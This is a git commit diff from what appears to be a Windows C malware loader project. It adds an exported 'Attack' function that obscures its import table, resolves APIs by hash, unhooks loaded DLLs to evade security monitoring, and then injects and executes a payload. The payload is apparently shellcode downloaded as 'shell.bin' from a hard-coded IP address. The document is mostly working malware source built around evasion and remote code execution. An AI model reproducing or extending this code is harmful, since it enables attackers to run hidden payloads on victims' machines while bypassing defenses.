main function done

This commit is contained in:
Cipher
2024-06-17 20:09:12 +05:30
parent c549eef0d8
commit edc8e2cde2
5 changed files with 57 additions and 8 deletions
+21 -2
View File
@@ -9,6 +9,7 @@ extern PSTR url;
extern PSTR endpoint;
extern SIZE_T sSize;
// winapi.c
#define INITIAL_SEED 8
@@ -30,8 +31,20 @@ typedef struct _API_HASHING {
fnLoadLibraryA pLoadLibraryA;
} API_HASHING, * PAPI_HASHING;
// inject.c
typedef void*(NTAPI* fnAddVectoredExceptionHandler)(
ULONG First,
PVECTORED_EXCEPTION_HANDLER Handler
);
typedef long(NTAPI* fnRemoveVectoredExceptionHandler)(
PVOID Handle
);
// inject.c
#include "inject.h"
//unhook.c
#include "unhook.h"
// apihashing.c
FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash);
@@ -44,4 +57,10 @@ BOOL ApiHammering(DWORD Stress);
DWORD Download(char** response, PVOID url, PVOID endpoint, BOOL ssl);
//iatcamo.c
VOID IatCamouflage();
VOID IatCamouflage();
//dllmain.c
#define kernel32dll_CRC32 0x00
#define AddVectoredExceptionHandler_CRC32 0x00
#define RemoveVectoredExceptionHandler_CRC32 0x00
+36
View File
@@ -6,6 +6,42 @@ PSTR url = "192.168.231.130";
PSTR endpoint = "shell.bin";
SIZE_T sSize = -1;
extern __declspec(dllexport) int Attack()
{
PVOID pVehHandler = NULL;
PVOID pInjectedPayload = NULL;
if (!pPayload || !sSize)
return -1;
IatCamouflage();
fnAddVectoredExceptionHandler pAddVectoredExceptionHandler = (fnAddVectoredExceptionHandler)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), AddVectoredExceptionHandler_CRC32);
fnRemoveVectoredExceptionHandler pRemoveVectoredExceptionHandler = (fnRemoveVectoredExceptionHandler)GetProcAddressH(GetModuleHandleH(kernel32dll_CRC32), RemoveVectoredExceptionHandler_CRC32);
if (!pAddVectoredExceptionHandler || !pRemoveVectoredExceptionHandler)
{
return -1;
}
pVehHandler = pAddVectoredExceptionHandler(1, VectoredExceptionHandler);
if (pVehHandler == NULL)
return -1;
// Unhook loaded dlls
UnhookAllLoadedDlls();
if (!pRemoveVectoredExceptionHandler(pVehHandler))
return -1;
if (!Inject(pPayload, sSize, &pInjectedPayload))
return -1;
Execute(pInjectedPayload);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
-1
View File
@@ -1,6 +1,5 @@
#include "unhook.h"
SIZE_T g_sTextSectionSize = (SIZE_T) NULL;
LPVOID g_pLocalTxtSectionAddress = NULL;
LPVOID g_pKnownDllTxtSectionAddress = NULL;
-5
View File
@@ -6,18 +6,15 @@ UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String)
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenA(String);
while (Index != Length)
{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}
@@ -34,10 +31,8 @@ UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}